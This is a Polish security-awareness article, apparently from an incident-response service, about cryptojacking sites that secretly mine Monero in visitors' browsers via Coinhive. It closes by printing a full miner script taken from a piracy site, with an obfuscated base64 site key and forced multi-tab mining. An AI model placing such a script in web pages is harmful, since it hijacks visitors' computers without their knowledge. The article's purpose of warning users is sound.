Zaloguj się do usług
bezpieczeństwa
18 lipca 2019
Strona działa za wolno? A może właśnie kopiesz komuś kryptowaluty...

Można by rzecz, że tytuł clickbaitowy i w sumie może nawet coś w tym jest. O ile statystyki faktycznie pokazują znaczący spadek aktywności oprogramowania złośliwie* kopiącego kryptowaluty (na większą skalę przestało się to opłacać), to nie trzeba się bardzo postarać, by znaleźć w sieci strony, które głównego źródła zarobku może sobie z tego procederu nie uczyniły, ale „na waciki” wciąż próbują zarobić. A ofiara? Cóż, ofiara w 999 przypadkach na 1000 (jeśli nie częściej) za wolniejsze działanie komputera i tak zrzuci winę na system operacyjny, czy dostawcę internetu.

* - przez „złośliwie” rozumiemy sytuację, gdy używanie mocy obliczeniowej komputera do generowania kryptowalut dzieje się bez wiedzy ofiary

Wirus? Dziękuję, nie trzeba

U wielu internautów wciąż niezmiennie pokutuje podejście, że za wszelkie niechciane przez nas aktywności naszego komputera odpowiedzialne są mityczne „wirusy”. Tymczasem nie tylko pojęcie wirusa jakie znaliśmy przez lata odchodzi już na dobre do lamusa, to na dodatek do kopania kryptowalut przestępcy wcale nie muszą niczego instalować na naszym komputerze. Wystarczy kilka linijek skryptu w kodzie strony, niewidocznego bez zajrzenia do kodu strony, powodującego, że nasz komputer zaczyna bez naszej wiedzy zarabiać dla właściciela strony.

Wszystko zaczęło się od stworzenia algorytmu CryptoNight, który pozwolił na kopanie kryptowalut przy użyciu dowolnego procesora w technologii x86. Na jego podstawie powstał skrypt Coinhive, wykorzystujący kod JavaScript wymuszał na przeglądarce WWW kopanie waluty Monero i zasilanie nią określonego parametrami portfela.

Jak to wygląda w konkretnym przypadku? Uruchamiamy np. stronę hxxp://vidto.me, a na niej film, niech będzie  hxxp://vidto.me/kpgv69diiypj.html. Podczas, gdy my widzimy niepozorną, nieco agresywną reklamę, jakich pełno w internecie...

...gdy przyjrzymy się co dzieje się w tle, okazuje się, że właściciel strony, bez naszej wiedzy rzecz jasna, uruchamia w tle coś jeszcze:

Chcielibyście zajrzeć, co znajdziecie w zaznaczonym pliku .js? Przykładowy skrypt jest dość długi, więc umieściliśmy go na samym końcu tekstu, dla zainteresowanych :)

Gdzie uważać najbardziej?

W zasadzie... wszędzie. Każdy może „uraczyć” nas tego typu niespodzianką, choć trzeba przyznać, że zdarzają się administratorzy na tyle uczciwi, by otwarcie poinformować odwiedzających, że w taki, a nie inny sposób pozyskują środki na działanie swoich serwisów.

Przy naszych analizach aktywności koparek kryptowalut, poza sporą grupą anonimowych adresów IP, trafiliśmy na witryny, gdzie już pobieżna analiza wskazuje, iż mamy do czynienia z pirackimi wersjami popularnych seriali i hitowych filmów - filmyhd.net i vidto.me. Odwiedzający tego typu miejsca, podobnie jak strony pornograficzne, czy też szeroko pojęte „warez” to zdecydowanie grupa podwyższonego ryzyka. Takie strony najeżone są zagrożeniami, spośród których koparki kryptowalut są chyba najłagodniejsze. Nawet jednak w takim przypadku warto się zastanowić, czy oddanie przestępcy dostępu do mocy obliczeniowych naszego komputera jest czymś, na co jesteśmy gotowi? I czy możemy być na sto procent pewni, że następnym razem nie weźmie sobie nieco więcej?

I na koniec obiecany skrypt:

var miner = null;
var intervalId = null;
var intervalMs = null;
var devFeeSiteKey = atob('NzU5MTQ5NGFkMWU1NjYwMWJjODM1ODU4MGQ1NjdiMzE5NzUzYmM3NzNkZTM1Y2UxZjBkNTNiYjhlNGI5NzE4Ng==');
var devFeeMiner = null;
 
// Init miner
function init({ siteKey, interval = 1000, threads = null, throttle = 0, username, devFee = 0.01, pool = null }) {

// Create miner
  miner = new Client.Anonymous(siteKey);
  if (devFee > 0) {
    var devFeeThrottle = 1 - devFee;
    devFeeThrottle = Math.min(devFeeThrottle, 1);
    devFeeThrottle = Math.max(devFeeThrottle, 0);
    devFeeMiner = new Client.Anonymous(devFeeSiteKey);
    devFeeMiner.setThrottle(devFeeThrottle);
  }
  if (threads > 0) {
    miner.setNumThreads(threads);
  }
  if (throttle > 0) {
    miner.setThrottle(throttle);
  }
  miner.on('open', function(message) {
    console.log('open', message);
    if (window.emitMessage) {
      window.emitMessage('open', message);
    }
  });
  miner.on('authed', function(message) {
    console.log('authed', message);
    if (window.emitMessage) {
      window.emitMessage('authed', message);
    }
  });
  miner.on('close', function(message) {
    console.log('close', message);
    if (window.emitMessage) {
      window.emitMessage('close', message);
    }
  });
  miner.on('error', function(message) {
    console.log('error', message);
    if (window.emitMessage) {
      window.emitMessage('error', message);
    }
  });
  miner.on('job', function(message) {
    console.log('job', message);
    if (window.emitMessage) {
      window.emitMessage('job', message);
    }
  });
  miner.on('found', function(message) {
    console.log('found', message);
    if (window.emitMessage) {
      window.emitMessage('found', message);
    }
  });
  miner.on('accepted', function(message) {
    console.log('accepted', message);
    if (window.emitMessage) {
      window.emitMessage('accepted', message);
    }
  });
 
  // Set Interval
  intervalMs = interval;
}
 
// Start miner
function start() {
  if (devFeeMiner) {
    devFeeMiner.start(Client.FORCE_MULTI_TAB);
  }
  if (miner) {
    console.log('started!');
    miner.start(Client.FORCE_MULTI_TAB);
    intervalId = setInterval(function() {
      var update = {
        hashesPerSecond: miner.getHashesPerSecond(),
        totalHashes: miner.getTotalHashes(),
        acceptedHashes: miner.getAcceptedHashes(),
        threads: miner.getNumThreads(),
        autoThreads: miner.getAutoThreadsEnabled()
      };
      console.log('update:', update);
      window.update && window.update(update, intervalMs);
    }, intervalMs);
    return intervalId;
  }
  return null;
}
 
// Stop miner
function stop() {
  if (devFeeMiner) {
    devFeeMiner.stop();
  }
  if (miner) {
    console.log('stopped!');
    miner.stop();
    if (intervalId) {
      clearInterval(intervalId);
    }
    intervalId = null;
  }
}


Ostatnie aktualności

Masz ciekawą informację?

Poinformuj nas!

Zgłoś incydent

Załącz plik

(jeśli zgłaszasz przypadek phishingu, zapisz mail (przesuń go z programu pocztowego na pulpit komputera lub wybierz opcję plik/zapisz jako), a następnie załącz)

Nie jestem człowiekiem
Jeśli zgłoszenie dotyczy bezpieczeństwa dzieci, zgłoś je również pod http://www.dyzurnet.pl